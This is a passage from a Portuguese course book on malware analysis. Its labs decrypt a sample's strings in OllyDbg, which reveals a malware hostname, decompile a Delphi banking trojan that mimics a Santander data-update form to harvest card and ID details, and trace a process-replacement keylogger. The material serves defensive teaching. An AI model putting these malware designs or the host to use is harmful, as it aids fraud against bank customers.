janela até encontrar as strings criptografadas. Dois cliques em cima de qualquer string da janela nos
leva ao código do malware onde essa string é utilizada. Clicando por exemplo na string do endereço
0x00407684 o Olly nos leva ao código abaixo.

Destacado em cinza a string que selecionamos, abaixo dela vemos uma chamada à função
referenciada pelo ESI e mais abaixo quatro PUSHs e uma chamada a outra função:
CALL 0040A7A0.
9- Vamos voltar à janela de Strings, isso pode ser feito minimizando a janela da CPU ou através do
Engenharia Reversa e Análise de Malware | 65

Menu Window – Text strings. Selecione outra string qualquer que aparenta estar criptografada,
como por exemplo a do endereço 0x00408616. O código onde ela está sendo utilizada é esse
abaixo.

Vemos a mesma estrutura de código que a anterior, novamente a instrução:


CALL 0040A7A0.

10- Se formos fazendo isso com todas as strings criptografadas iremos encontrar o mesmo código.
Parece que essa função que está no endereço 0040A7A0 tem alguma relação com a string
criptografada. Se quisermos saber quais locais do código (endereços) que chamam essa mesma
função, o Olly tem uma opção que é conhecido como referências cruzadas (xref). Podemos buscar
as xref selecionando a linha de código da função, clicando com o botão direito e depois em Find
references to – Call destination.

São encontrados inúmeros locais no código onde essa função é utilizada, possivelmente em
todos os locais onde haja as strings criptografadas.
Engenharia Reversa e Análise de Malware | 66

11- Podemos confirmar nossa teoria através do debugging, vamos até o início dessa função no
endereço 0x0040A7A0 e colocar um breakpoint com o F2, assim na primeira vez que o programa
for acessar essa função ele irá parar no nosso breakpoint. Agora execute o programa com F9.

12- A execução do programa parou no nosso breakpoint e agora para descobrirmos onde quem no
código chamou essa função a gente pode olha pra pilha. Recordando as aulas sobre a pilha, assim
que é feita uma CALL o endereço de retorno é colocado na pilha, então saberemos quem chamou a
função.

Vemos aí que após a execução da função o programa retornará para o endereço


Engenharia Reversa e Análise de Malware | 67

0x00405D77. Vamos procurar essa linha no programa através do Ctrl + G e endereço.

13- Encontramos o trecho de código que chamou pela primeira vez a função suspeita.

Vemos logo no começo uma string criptografada e aquela mesma estrutura de código
analisada anteriormente. Então, para enfim descobrirmos o que essa função retorna, podemos
colocar um breakpoint nessa string criptografada que está no endereço 0x00405D4F. Antes de
colocar o breakpoint vamos desativar o outro, se clicarmos no botão B da barra de ferramentas do
OllyDbg é aberta uma janela com todos os breakpoints ativos, só selecionar o que quer desativar e
apertar Del. Agora sim coloque o breakpoint no endereço acima, reinicie o debugger com Ctrl + F2
, escolha Sim e execute novamente com F9.

14- A execução parou na instrução da string criptografada, agora vamos apertando F8 até a linha
abaixo da CALL 0040A7A0.

Já conseguimos ver o retorno da função, o Olly nos mostra que o EAX (que costumar ser o retorno)
possui a string “APPDATA”, ou seja, é a string descriptografada.
Criptografada Descriptografada
nwTW2wAcnwK72kA7nwT APPDATA
Engenharia Reversa e Análise de Malware | 68

15- O malware possui inúmeras outras strings criptografadas, só descobrimos o que uma significa,
como poderíamos descobrir outras? Há um método manual que podemos utilizar para fazer isso,
veja nesse código a instrução que utiliza a string criptografada:

MOV EDX, [nomedoarquivo].0040386C

Sabemos por essa instrução que a primeira string que foi descriptografada estava no
endereço 0040386C, o operando origem do MOV. No momento que o debugger parar a execução
nessa instrução, podemos alterar esse endereço da string para apontar para outra. Para descobrir
endereços de outras strings é só abrir a janela de Strings novamente e reparar na instrução que a
utiliza, terá o endereço dela assim como nessa instrução que vimos.

16- Vamos descobrir o que a string criptografada que está no endereço: 004041B0 significa.
Reinicie o debugger, execute o malware, o breakpoint vai ser atingido, agora pressione a barra de
espaço <SPACE> para editar a instrução assembly, conseguimos modificar a instrução que está na
memória, apague o endereço original que está lá (0040386C) e insira o endereço da outra string que
queremos descriptografar (004041B0), clique em Assemble e depois no X para fechar a janelinha.

Vemos por baixa da janela que o código já foi modificado, em vermelho os opcodes
modificados e a string que aparece à direita já é outra.

17- Agora é só ir executando linha a linha com o F8 até passar pela CALL da função e vermos o
retorno no EAX.
Engenharia Reversa e Análise de Malware | 69

Essa string descriptografada já vemos que é mais interessante, é uma URL:


housecar.db.7172228.hostedresource.com

18- Talvez esse malware esconda mais informações interessantes nas outras strings criptogradas,
que tal repetir esse mesmo processo, dos passos 16 e 17. Tente descobrir o que as strings dos
endereços abaixo significam:
0040429C
00404310
0040439C
004043C8
00404400

4.7. Lab 04-02 Análise de executável malicioso com uso dedescompilador

Nesse Lab iremos analisar um executável malicioso com a ajuda de um descompilador para
facilitar o trabalho.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE, RDG
- WinRAR
- DeDe
- Delphi7 Portable
-Arquivo: Lab-04-02.exe

Passo a Passo
Engenharia Reversa e Análise de Malware | 70

1- Como sempre o primeiro passo da análise é identificar o arquivo com as ferramentas para obter
um perfil inicial. Vejamos os resultados.

O PEiD não identificou nada, o Exeinfo PE informou que o arquivo é do tipo MS IExpress
CAB installer e o RDG o compilador utilizado como Visual C++ porém detectou também que o
arquivo está comprimido com o IExpress v2.0.
IExpress é um programa da Microsoft que permite que criemos arquivos que se
descompactem ou se instalem automaticamente, ou seja, o arquivo só necessita que cliquem duas
vezes em cima dele para se instalar/descompactar. É parecido com aquela função self-extracting dos
zipadores. Se for ao seu computador em Executar ou no CMD e digitar iexpress, esse utilitário do
Engenharia Reversa e Análise de Malware | 71

Windows irá abrir.


Se olharmos a dica do Exeinfo PE ele nos diz que para renomearmos a extensão do arquivo
de .EXE para .CAB. Arquivos do tipo CAB são utilizados em instalações de programas de
Windows, é uma espécie de ZIP de arquivos de instalação.

2- Vamos então renomear o arquivo de Lab-04-02.exe para Lab-04-03.cab. O utilitário WinRAR


consegue abrir praticamente todos os tipos de arquivos compactados do Windows, inclusive os
.CAB.

3- Abra o WinRAR, clique em Arquivo – Abrir arquivo e selecione o .cab renomeado. Vai abrir a
seguinte tela:

Vemos que o WinRAR encontrou dois arquivos “escondidos” dentro do nosso executável,
Real.exe e Reals.exe.

4- Podemos agora extrair esses dois arquivos para assim analisá-los com mais cuidado. Clique em
Extrair Para – e selecione a pasta destino.
Engenharia Reversa e Análise de Malware | 72

5- Agora temos dois arquivos para análise, vamos fazer o mesmo processo de identificação com os
dois. O Exeinfo PE ficou meio confuso para identificá-lo precisamente e o PEiD e RDG
identificaram como sendo Borland Delphi 6.0/7.0.

6- Sabendo que há um bom descompilador para o Delphi, o DeDe, vamos diretamente tentar
descompilar o arquivo, primeiro com o Real.exe. Abra o DeDe.exe, clique no ícone da pasta ao lado
do botão Process para selecionar o nosso arquivo. Agora clique no botão Process, dê OK nas
mensagens que aparecerem e na mensagem da janela “DeDe Extended Analisys” clique em “No”.

7- Nesse momento o DeDe já fez a descompilação do programa, porém a interface dele não possui
muitos recursos para manipular o código encontrado, o ideal é salvar o projeto todo em formato
nativo do Delphi para abri-lo posteriormente neste. Para isso clique na guia Project, no campo
Project directory selecione o local onde quer que o projeto seja salvo e depois em “Create files”. Ao
final do salvamento dê OK e feche o DeDe.

8- Abra o Delphi7 Portable, clique em File – Open Project e selecione o arquivo .dpr que o DeDe
salvou. DPR é formato Delphi Project, o DeDe conseguiu salvar o projeto com o nome original que
foi utilizado nele, nesse caso é “dragon.dpr”.
Engenharia Reversa e Análise de Malware | 73

9- O Delphi pode dar algumas mensagens de erro, isso é normal, pois o projeto não está completo, é
só dar OK. Uma das coisas mais interessantes que podemos buscar em um projeto Delphi são os
Forms. Form é a janela do programa, nesse caso do malware, onde há botões, campos e tudo mais.
Para visualizá-lo clique em View – Forms.

10- É apresentada a janela dos formulários encontrados, nesse caso foi encontrado somente um
Form chamado de Tdilma. Clique duas vezes em cima dele para abri-lo. Vão ser exibidas algumas
mensagens de erros, isso é porque o DeDe não conseguiu recuperar tudo do projeto, alguma classe
ou componente externo que o Form utilizava não foi recuperada. Vai observando os nomes das
classes e clique em Ignorar.
Engenharia Reversa e Análise de Malware | 74

11- Agora visualizamos o Form, logo na barra de título dele podemos ver a string “Atualização de
Dados Cadastrais Banco Real Santander”. Isso já nos diz muita coisa, provavelmente um trojan-
banker. Apesar de o Form estar em branco, podemos ver alguns campos que devem servir para
entrada de dados das vítimas. Vemos campos que fazem referências a informações de cartão de
crédito.

12- Ao lado esquerdo na janela Object TreeView vemos todos os componentes que fazem parte do
Form, alguns nomes bem sugestivos. Podemos concluir que esse é uma janela do malware que pede
inúmeros dados pessoais da vida, inclusive número do cartão de crédito, RG, CPG e outros.
Engenharia Reversa e Análise de Malware | 75

13- No Form há um botão “Confirmar”, se clicarmos duas vezes em cima dele podemos visualizar o
evento relacionado ao botão, isto é, o que o malware faz quando a pessoa digita todos os dados e
clica em “Confirmar”. Clique duas vezes no botão para abrir o código.
Vemos que foi aberta a procedure Tdilma.vaiClick() e código ao invés de estar em Delphi
permanece em assembly, isto é comum já que o descompilar nunca vai conseguir recuperar todo o
código.
Engenharia Reversa e Análise de Malware | 76

14- Nessa procedure, dentre outras coisas, existe a captura de todos os dados que foram digitados
nos campos do formulário (componentes TEdit) e ao final esses dados são atribuídos a um
componente TMemo que foi nomeado como “xupameupinto”.

Tdilma.xupameupinto : TMemo

O que se segue são sequências de funções que atribuem ao componente TMemo linhas que contêm
um rótulo e a informação que a vítima digitou.

Reference to control Tdilma.xupameupinto : TMemo


Reference to field TMemo.Lines : Tstrings
Possible String Reference to: '********************************'
Reference to method Tstrings.Add(string)
Reference to method TStrings.Add(string)

Reference to control Tdilma.a3 : TEdit


Reference to: Controls.TControl.GetText(TControl):TCaption;
Engenharia Reversa e Análise de Malware | 77

Possible String Reference to: 'AG..........:'

Reference to control Tdilma.xupameupinto : TMemo


Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.a4 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'Cont........:'

Reference to control Tdilma.xupameupinto : TMemo


Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.CC : TcomboBox
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'bandeira....:'

Essa sequência se repete para todos os campos Edits, até que no final é utilizado o método
Tstrings.SaveToFile(string) e é passada como parâmetro uma string criptografada, que deve ser o
nome do arquivo. Por fim ainda há um agradecimento.

Possible String Reference to: 'GpfSQMvaPMvqQMPfOs5kP6ykT7Xq'


Reference to: System.@LStrToPChar(String):PAnsiChar;
Reference to method TStrings.SaveToFile(string)
Possible String Reference to: 'Obrigado por sua atenção o Banco Real
Santander agradece.'

Para analisar o código descompilado o mais fácil é abstrair o código assembly e focar nas strings e
referências de componentes e métodos do próprio Delphi, isso serve como base para entender o
código.

15- Basicamente o que foi possível notar é que o malware é composto de uma janela (Form) onde a
vítima digita seus dados e após clicar em Confirmar esses dados são salvos em um arquivo.

16- Havia dois arquivos, analisamos o Real.exe e ainda falta o Reals.exe, utilizando os mesmos
métodos descritos aqui tente extrair o máximo de informações desse malware, lembre-se que um
arquivo tem relação com o outro. Comece a análise do Reals.exe tendo em vista o ponto onde parou
o Real.exe. Boa sorte!
Engenharia Reversa e Análise de Malware | 78

5. Análise Dinâmica

Análise dinâmica é o processo de executar o malware em um ambiente monitorado e


observar seu comportamento. Essa técnica pode rapidamente produzir informações como arquivos
criados, chaves de registro criadas, websites acessados, e mais. Caso não tenha muita experiência
com análise estática ou simplesmente não tem tempo suficiente para realizar uma análise completa
do código, você pode usar a análise dinâmica para obter uma rápida perspectiva inicial das
capacidades do malware.

5.1. Monitorando processos com Process Explorer

O Process Explorer da Microsoft é um poderoso gerenciador de tarefas que pode ser


executado quando você está realizando análise dinâmica de um malware. Apresenta valiosas
informações dos processos que estão sendo executados no sistema.
Você pode utilizá-lo para listar processos ativos, DLLs carregadas, propriedades de
processos e ainda para matar processos.
Em sua janela principal os processos são apresentados em cores diferentes, por padrão
serviços estão em PINK, processos em AZUL, novos processos em VERDE e processos finalizados
em VERMELHO. As cores verdes e vermelhas são temporárias e são removidas assim que o
processo muda de estado.

Utilizando a opção Verify

Uma característica particularmente útil do Process Explorer é o botão Verify na aba Image.
Clique nesse botão para verificar se a imagem do processo que está no disco realmente é assinada
digitalmente pela Microsoft. A Microsoft utiliza assinatura digital na maioria dos seus executáveis
principais então quando o Process Explorer verifica se uma imagem é válida você pode ter certeza
que o arquivo executável é legítimo da Microsoft. Isso é útil para descobrir se o malware corrompeu
ou substituiu arquivos autênticos do Windows.
O botão Verify verifica a imagem do arquivo no disco ao invés da memória, então perde sua
utilidade se o malware sobrescrever o espaço de memória do processo verdadeiro (process
replacement). Porém essa técnica deixa pistas, o processo da memória será diferente do arquivo no
disco.
Engenharia Reversa e Análise de Malware | 79

Comparando Strings

Um método de reconhecer sobrescrita de processos na memória é utilizando a aba Strings na


janela de propriedades do processo. É possível comparar as strings de um processo no disco (Image)
com as strings do mesmo processo na memória (Memory), se as duas listagens forem drasticamente
diferentes pode ter ocorrido a sobrescrita da memória do processo.

5.2. Monitorando com Process Monitor

Process Monitor, ou procmon, é uma avançada ferramenta de monitoramento para Windows


que fornece um meio para monitorar atividades de registro, sistema de arquivos, rede, processos e
threads. Embora o procmon capture atividades de rede, ele não é utilizado com essa finalidade, pois
não apresenta resultados consistentes.
Procmon monitora todas as chamadas do sistema assim que é iniciado, porém o Windows
pode executar até 50.000 eventos em um único minuto, o que torna impossível analisar todas as
chamadas, e ainda se for utilizada uma máquina virtual a memória RAM pode ficar cheia e
“crashar” o programa. Para evitar isso, execute o procmon por um período de tempo limitado. Para
parar/iniciar a captura de eventos escolha File – Capture Events. Antes de usá-lo para análise,
limpe todos os eventos capturados anteriormente escolhendo Edit – Clear Display. Em seguida,
execute o malware com a opção de captura habilitada e após alguns minutos desligue a captura.
Após a captura o ideal é salvar o resultado para permitir análise posterior. Certifique-se de
não ter adicionado nenhum filtro manual ao programa para poder salvar todos os eventos. Clique
em File – Save e em Path escolha o local de salvamento.

Filtrando resultados

Nem sempre é fácil encontrar a informação que você está precisando em meio a milhares de
linhas. Você pode configurar filtros para exibirem apenas as informações relevantes para a sua
análise. Os filtros podem ser para chamadas específicas do sistema como CreateFile e WriteFile,
para nome de processos, arquitetura, duração, etc. Quando você coloca um filtro ele apenas afeta os
eventos que são mostrados na tela, os demais eventos continuam gravados porém ocultos com o
filtro.
Para configurar um filtro clique em Filter – Filter. Um dos mais úteis para análise de
malware é o “Process Name” “is” nome_do_malware.exe. Com isso exibiremos apenas atividades
Engenharia Reversa e Análise de Malware | 80

do malware. Caso o malware tenha criado outro processo durante a execução, a captura desses
eventos estará lá também, é só retirar o filtro e localizar o nome do novo processo.
Por padrão o procmon já vem com alguns filtros configurados, por exemplo um que exclui o
processo procmon.exe dos resultados. Além disso em sua barra de ferramentas ele possui quatro
tipos de filtros automáticos para categorias de eventos diferentes. De acordo com a figura abaixo
esses filtros são:

Registry: examinando operações no registro você pode dizer como o malware se instala no
registro.
File system: explorar interações com o sistema de arquivos pode mostrar todos os arquivos
que o malware criou ou os arquivos de configurações utilizados.
Process activity: investigando atividades de processos você pode descobrir se o malware
lançou outros processos.
Network: identificar conexões de rede pode mostrar alguma porta que o malware esteja
escutando.

Para ativar ou desativar um filtro apenas clique em cima do botão correspondente.


Análise com o procmon exige prática e paciência, uma vez que muitos eventos são
simplesmente parte do modo como executáveis se iniciam. Quanto mais usar, mais fácil e rápido
será encontrar informações relevantes para sua análise.

Dica: o procmon permite a captura de eventos assim que o Windows é iniciado, ideal para analisar
as atividades de malwares que se iniciam com o sistema. Ative a opção através do menu: Options –
Enable Boot Logging.

5.3. Monitoramento de Tráfego de Rede

Malwares frequentemente se comunicam com a rede para baixar atualizações, mais pragas
ou se comunicar com servidores de botnets. Conforme já vimos, podemos simular um ambiente de
rede com o FakeNet e obter rapidamente nomes DNS, endereços IPs e pacotes sem conectar o
malware à Internet.
Engenharia Reversa e Análise de Malware | 81

Quando for necessário liberar o malware para acessar a Internet verdadeira é recomendado o
uso de uma ferramenta de sniffing de rede para capturar toda a comunicação gerada. Wireshark é a
ferramenta indicada para isso, é open source e permite a captura, visualização e análise de cada
pacote que trafega na rede.
Para capturar pacotes no Wireshark, escolha Capture – Interfaces escolha a interface e
clique em Start. A captura também pode ser salva em um arquivo do formato PCAP para posterior
análise através do menu File – Save.
No Wireshark para visualizar o conteúdo de uma sessão TCP, clique com o botão direito em
qualquer pacote TCP e selecione Follow TCP Stream.

5.4. Monitoramento do registro e arquivos com Regshot

Regshot é uma ferramenta open source muito fácil de utilizar, ideal para verificar quais
alterações o malware provoca no registro do Windows e no sistema de arquivos.
Para monitorar os arquivos marque a caixa Scan dir e especifique as pastas que deseja
monitorar, como por exemplo, C:\.
Para executar o Regshot, simplesmente tire um shot antes de executar o malware clicando no
botão 1st shot. Execute o código malicioso, aguarde ele terminar a execução e então tire o segundo
shot em 2nd shot. Finalmente clique no botão Compare para realizar a comparação. Será
apresentado um relatório com as alterações encontradas. Certa quantidade de “ruído” é encontrada
nessa listagem, por causa de funções do sistema operacional que são constantemente executadas.
Assim com o procmon, a análise dos resultados requer prática e paciência.

5.5. O uso das ferramentas de análise dinâmica na prática

As ferramentas discutidas nesse capítulo podem ser utilizadas juntas para maximizar a
quantidade de informação obtida na análise dinâmica. Vejamos um passo a passo de como essas
ferramentas podem ser utilizadas, porém cada um pode encontrar o jeito que melhor se adapta.
Em uma máquina virtual com um snapshot limpo faça:

1. Inicie o Process Explorer.


2. Inicie a o ambiente de rede simulado (FakeNet) ou o sniffer (Wireshark) para capturar o
tráfego de rede.
3. Obtenha o primeiro snapshot utilizando o Regshot.
4. Inicie o Process Monitor e limpe todos os eventos capturados anteriormente, você pode
Engenharia Reversa e Análise de Malware | 82

também configurar um filtro de nome do processo com o nome do executável.


5. Agora execute o malware na máquina virtual e analise o(s) processo(s) criado(s) com o
Process Explorer.
6. Após certo período de tempo execute o segundo snapshot com o Regshot e compare.
7. Pare as demais ferramentas e salve os resultados caso necessário.
8. E então, analise os relatórios obtidos.

5.6. Lab 05-01 Análise dinâmica com Process Explorer e Process Monitor

Nesse Lab iremos analisar um executável malicioso com a ajuda das ferramentas Process
Explorer e Process Monitor que fazer parte da Sysinternals Suite.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- Process Explorer
- Process Monitor
- Arquivo: Lab-05-01.exe

Passo a Passo

1- Na máquina virtual inicie a ferramenta Process Explorer.

2- Inicie o Process Monitor e certifique-se que nenhum filtro está configurado, para isso clique no
botão Reset na janela de filtros.
Engenharia Reversa e Análise de Malware | 83

3- Clique em OK e em seguida execute o arquivo Lab-05-01.exe.

4- Aguarde alguns segundos para o malware executar e desative o monitoramento do Process


Monitor através do menu File – Capture Events. Isso evita que a memória RAM da máquina
virtual encha e diminui a quantidade de linhas para analisarmos.

5- Como nessa análise não estamos interessados em alterações de registro e nem de rede, desative a
exibição desses eventos no Process Monitor através dos dois botões correspondentes: Show
Registry Activity e Show Network Activity.

6- Navegando pelas linhas do procmon encontramos o início do processo do malware Lab-05-


01.exe, a partir daí nossa análise se inicia.
Engenharia Reversa e Análise de Malware | 84

7- Após carregar algumas DLLs vemos que o processo Lab-05-01.exe faz muitas operações de
leitura no arquivo C:\windows\system32\svchost.exe, essa leitura é feita através da função
CreateFile da API do Windows. Apesar do nome Create essa função também é utilizada para ler
arquivos conforme pode ser conferido na coluna Detail do procmon.

8- Mais abaixo vemos que nosso processo cria outro processo chamado de svchost.exe, nesse caso
com o PID 504.

9- Após o novo processo svchost carregar várias DLLs o processo pai Lab-05-01.exe é finalizado.

10- Agora vamos olhar o Process Explorer. No final da lista de processos em execução encontramos
o svchost com o PID 504. Interessante notar que as informações nas colunas Description e
Company Name dele são as mesmas dos outros svchost.exe.

11- O Process Explorer organiza os processos em execução em forma de árvore, assim conseguimos
ver os processos pais com os respectivos processos filhos, vemos que os primeiros svchosts têm
como processo pai o services.exe. Já o nosso processo é órfão, não possui processo pai, isso já é
uma característica estranha.
Engenharia Reversa e Análise de Malware | 85

12- Vamos clicar com o botão direito do mouse no svchost órfão e em Properties. Na janela de
propriedades do processo vamos clicar no botão Verify para descobrir se a imagem do processo no
disco é legítima da Microsoft.

13- É confirmado que o arquivo em disco é legítimo (Verified) da Microsoft, ou seja, o arquivo que
o processo está apontando no disco não foi alterado. É algo estranho já que vimos que todos os
svchosts são iniciados pelo services.exe enquanto que esse foi iniciado pelo Lab-05-01.exe,
conforme é possível ver nessa mesma janela no campo Parent.

14- Vamos comparar as strings que estão na memória com as que estão na imagem do disco do
svchost suspeito para ver se são correspondentes. Para isso clique com o botão direito em cima do
processo e em Properties, escolha a aba Strings e deixe marcado Image. Minimize a janela e repita o
procedimento, dessa vez escolhendo a opção Memory.

15- Coloque as duas janelas lado a lado e compare as strings, no final das listagens é possível notar
Engenharia Reversa e Análise de Malware | 86

diferenças significativas entre as duas janelas.

16- No conteúdo da memória vemos referência a uma arquivo chamado


practicalmalwareanalysis.log além de nomes de teclas. Com conteúdos tão diferentes assim só
podemos concluir que houve um process replacement, o processo substituiu na memória o conteúdo
original do svchost com conteúdo malicioso.

17- Já que o processo malicioso ainda está rodando e temos seu PID, vamos monitorar no Process
Monitor somente eventos desse processo para descobrir mais informações sobre ele. Abre o
procmon, reset os filtros e adicione o filtro “PID is” e o número do PID do svchost malicioso, no
meu caso o 504.

18- Simule algumas atividades no computador para ver se o procmon consegue capturar algo do
svchost malicioso. Digite alguma coisa no navegador, notepad, etc. Agora volte para a tela do
procmon.
Engenharia Reversa e Análise de Malware | 87

19- Prontamente o svchost entrou em execução e realizou muitas gravações no arquivo


C:\practicalmalwareanalysis.log. Ao abrir esse arquivo descobrimos seu propósito.

O malware em questão é um keylogger, captura tudo o que é digitado no computador e grava


nesse arquivo de log. Poderia inclusive capturar informações e senhas de contas bancárias.
Interessante que nesse caso ele só se mantém na memória, caso o computador fosse desligado ele
seria finalizado e só entraria em execução se o Lab-05-01.exe fosse executado novamente.

* Obs.: Exemplo retirado do livro Practical Malware Analysis de Michael Sikorski e Andrew
Honig, Editora No Starch Press. Mais informações: http://nostarch.com/malware.
Engenharia Reversa e Análise de Malware | 88

5.7. Lab 05-02 Análise de executável malicioso com uso de técnicas


diversas

Esse Lab é um desafio para treinar os conhecimentos adquiridos até o momento, podem ser
utilizadas todas as técnicas e ferramentas de análise estática e dinâmica aprendidas. O objetivo é
obter o maior número de informações do malware em questão.

Material necessário:
- Máquina virtual com Windows XP 32-bit
- PEiD, Exeinfo PE, RDG
- FakeNet, Wireshark
- Sysinternals Suite
- Regshot
- OllyDbg
- Arquivo: Lab-05-02.com
Engenharia Reversa e Análise de Malware | 89

6. Windows Internals

Uma vez que a maioria dos malwares atuais tem como alvo o sistema operacional Windows
e interagem diretamente com ele, é interessante conhecermos bem a arquitetura do SO. O Windows
é um sistema complexo e seria difícil somente nesse capítulo cobrir todo seu funcionamento, porém
serão apresentados os conceitos mais relevantes para a análise de malware.

6.1. Níveis de privilégio do processador – Protection Rings

Na arquitetura x86, os Protection Rings são níveis de privilégios de execução de código


aplicados pelo processador e implementados pelo SO. Uma vez que todo código binário, desde
funções do sistema operacional até aplicações dos usuários, executa no(s) mesmo(s)
processador(es), deve haver um mecanismo que diferencie um código do outro e restrinja o
privilégio de execução de acordo com as característica de cada código. O código de uma aplicação
do usuário na teoria não pode interferir na execução do sistema operacional, pois qualquer erro pode
causar o travamento de todo o sistema, por isso as aplicações dos usuários devem rodar com
permissões de execução restritas.
O sistema operacional executa no nível de privilégio mais alto, o Ring 0, também conhecido
como kernel mode ou kernel land. Já os programas e aplicações dos usuários executam no nível
mais baixo, o Ring 3, conhecido também como user mode ou userland. Os detalhes de como essas
proteções são aplicadas no hardware e no SO, assim como muitos outros rings suportados pela x86
mas não utilizados pelo Windows, são complicados e não serão discutidos aqui. O que é importante
saber agora é que a CPU e o SO implementam os níveis de privilégio cooperativamente e eles
existem somente para manter a integridade e segurança do sistema. Um simples exemplo, pode-se
imaginar os protection rings simplesmente como o valor de um bit em uma flag da CPU que ou é
ligada para indicar que o código tem privilégio Ring 0 (SO) ou é desligada para indicar código com
privilégio Ring 3 (user mode).

6.2. Transição entre os níveis de privilégio

Uma funcionalidade crítica dos protection rings é a habilidade da CPU de mudar seu nível
de privilégio baseada nas necessidades do código em execução, permitindo aplicações user mode
rodarem código em kernel mode para realizar determinada tarefa. Em outras palavras, a CPU pode
Engenharia Reversa e Análise de Malware | 90

elevar privilégio dinamicamente do Ring 3 para o Ring 0 quando necessário.


Essa transição ocorre quando uma thread em user mode requisita um recurso do sistema em
kernel mode através de um desses modos:
 Uma instrução especial da CPU chamada SYSENTER
 Uma SYSCALL
 Uma interrupção INT 0x2E
Essa transição, intermediada pelo sistema operacional e implementada pelo conjunto de
instruções da CPU, é executada sempre que uma thread necessita utilizar uma instrução restrita ou
realizar operação com alto privilégio, como por exemplo, acessar diretamente o hardware. Quando
uma dessas transições é lançada, o sistema operacional transfere o controle da requisição ao
componente em kernel mode correspondente (como por exemplo um driver), que realiza a operação
em nome da thread user mode requisitante e retorna algum resultado. Como não é possível pular do
user mode para o kernel mode, essas instruções utilizam tabelas de pesquisa para localizar um
função predefinida no kernel.

6.3. Kernel Mode

Kernel mode é o modo de privilégio que o processador utiliza enquanto está executando
código do sistema operacional (incluindo drivers de dispositivos). Em modo de menor privilégio as
aplicações do usuário não podem utilizar as mesmas instruções de CPU e hardware que o kernel
mode pode. Como os programas de ambos os modos devem utilizar a memória para executarem,
esses espaços de memória de cada um são separados logicamente e marcados com o modo de
acesso apropriado para assim o processador saber com qual nível de privilégio executar aquela
página de memória. Programas user mode devem gastar uma parte de sua vida no kernel mode para
realizar várias operações, assim instruções especiais do processador como a SYSENTER são
utilizadas para realizar essa transição, como discutido anteriormente. O sistema operacional
intercepta essa instrução quando ela é utilizada por um programa user mode e realiza validação
básica dos parâmetros fornecidos para a função antes de permitir o prosseguimento para o kernel
mode (Ring 0).
Kernel land é um ambiente extremamente volátil onde todo código executado possui
privilégios, direitos de acesso e capacidades iguais. Devido aos endereços de memória não serem
separados, como é feito em user mode pelos processos, qualquer programa em kernel mode pode
acessar a memória, dados, e pilha de qualquer outro programa (incluindo aqueles do próprio sistema
operacional). De fato, qualquer componente pode se registrar como um handler de qualquer tipo de
dados – tráfego de rede, teclas do teclado, informação do sistema de arquivos, e mais,
Engenharia Reversa e Análise de Malware | 91

independentemente se ele precisa ou não acessar essa informação. A única restrição: você deve
“prometer” jogar de acordo com as regras. Caso isso não ocorra, você irá causar um conflito o
sistema todo irá travar.
Isso cria um ambiente muito complicado e livre para todos. Qualquer um que conheça os
requisitos básicos e C (linguagem de programação) suficiente para ser perigoso pode desenvolver
um kernel driver, carregá-lo e começar a ver tudo o que acontece. O problema é que não existe
validação de seu código em tempo de execução – nenhum manipulador de exceções para capturar
seus erros de código e lógica. Uma instrução inválida, por exemplo, causará a famosa blue screen
do Windows (crash).
Código em kernel mode é muito importante para os autores de malware porque mais pode
ser feito do que no user mode. A maioria dos programas de segurança, como os antivírus e firewalls,
rodam em kernel mode, dessa forma que eles podem acessar e monitorar atividades de todas as
aplicações rodando no sistema. Malware executando em kernel mode pode mais facilmente
interferir nos programas de segurança ou dar um bypass no firewall.
Malware rodando em kernel mode é consideravelmente mais poderoso. No espaço do
kernel, qualquer distinção entre os processos que estão rodando com privilégios ou sem privilégios
é removida. Adicionalmente, as capacidades de auditoria do SO não se aplicam na kernel land. Por
essas razões quase todos os rootkits utilizam código rodando no kernel.
Desenvolver código em kernel mode é consideravelmente mais difícil do que user mode.
Uma das maiores dificuldades é que código kernel pode muito mais facilmente travar o sistema
durante o desenvolvimento e debugging. E também, muitas funções comuns não estão disponíveis
no kernel e há poucas ferramentas para compilar e desenvolver código. Devido a esses desafios,
somente malwares sofisticados rodam no kernel. A maioria dos malwares não possui componentes
de kernel.

6.4. User Mode

User land é o espaço para aplicações que não pertencem ao kernel e são protegidas por
separação de privilégios. Essencialmente, toda aplicação user mode executa no nível de privilégio
da conta do usuário e não como parte do sistema operacional. Todas as permissões e políticas de
acesso são aplicadas nesse modo.
Em user mode cada processo tem sua própria memória, permissões de segurança e recursos.
Caso um programa em user mode execute uma instrução inválida e trave, o Windows pode
reivindicar todos seus recursos e terminar o programa. Normalmente, user mode não pode
manipular o hardware diretamente e está restrito a somente um subconjunto de registradores e
Engenharia Reversa e Análise de Malware | 92

instruções da CPU. Código em kernel mode pode manipular código rodando em user mode, mas
código rodando em user mode pode afetar o kernel somente através de interfaces muito bem
definidas.

6.5. Windows APIs

Uma application programming interface (API) é um conjunto de funções que o sistema


operacional disponibiliza para os programas e aplicações se comunicarem com o sistema
operacional. O Windows tem dois tipos principais de APIs: a Win32 API utilizada principalmente
por programa user mode e a Native API utilizada por programas kernel. É possível notar que a
maioria das Win32 APIs são simplesmente pequenos programas binários que validam os
argumentos passados antes de chamar a função real na Native API, que por sua vez, chama funções
internas (sem documentações) do kernel do Windows. Vemos na figura abaixo a relação entre as
DLLs da Win32 API com a Native API e componentes do kernel.
Engenharia Reversa e Análise de Malware | 93

6.5.1. Win32 API

A Win32 API é um conjunto grande de funções que compõem a interface de programação


para aplicações Windows. Nas linguagens de programação de alto nível geralmente a Win32 API
não é utilizada diretamente pelo programador pois sua manipulação não é muito amigável, dessa
forma existem outras camadas de abstrações próprias das linguagens e essas sim fazem chamada à
API. Na análise de malware é importante o conhecimento dela pois muitas vezes não teremos
acesso às funções de alto nível, somente o código da API estará disponível.
A Win32 API é implementada por quatros principais DLLs:
 Kernel32.dll – fornece serviços básicos para acesso ao sistema de arquivos, dispositivos,
criação de threads e processos e gerenciamento de memória.
 Advapi32.dll – fornece serviços avançados para manipulação de componentes do
Windows como o registro e contas de usuários.
 User32.dll – implementa a construção das janelas e elementos gráficos do Windows
como como botões, ponteiros do mouse, etc.
 GDI32.dll – implementa serviços gráficos de baixo nível como desenhar uma linha,
exibir um bitmap, etc.
